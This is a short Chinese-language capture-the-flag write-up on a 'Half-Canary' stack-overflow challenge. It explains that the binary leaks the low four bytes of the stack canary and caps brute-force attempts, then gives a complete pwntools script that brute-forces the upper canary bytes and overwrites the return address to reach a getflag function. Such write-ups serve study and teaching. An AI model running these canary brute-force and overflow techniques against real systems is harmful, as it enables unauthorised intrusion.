[PWN]Half-Canary

2023年8月27日 作者 Alien-Song

一道升级版本的Canary

按照简单思路写了一个爆破Canary的脚本,后来发现没等爆破完就弹出失败,读伪代码可见添加了对爆破次数的限制,只有500次,而对于64位程序的8个字符爆破是不够的。

后来发现题目最开始打印了奇怪的字符串,分析一下,转hex之后是四个字节,恰好就是canary的低四位

所以,低四位用p32封包取小端序,然后高四位利用While循环进行爆破:

#coding=utf8
import time
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context(arch='amd64', os='linux')
local = 1
elf = ELF('./canary')
if local:
    p = process('./canary')
    libc = elf.libc
else:
    p = remote('',)
    libc = ELF('./')
p.recvuntil('^_^ ')
canary_little = int(p.recv().split(' ')[0])
print(canary_little)
canary =''
for j in range(4):
    for i in range(256):
        p.send("\x00"*8 +p32(canary_little) +canary+chr(i))
        a = p.recvuntil("hello~")
        if "Maybe" in a:
            canary += chr(i)
            break
getflag = 0x400935
payload = 'a'*8 +p32(canary_little)+ canary +"A"*8 + p64(getflag)
p.sendline(payload)
p.interactive()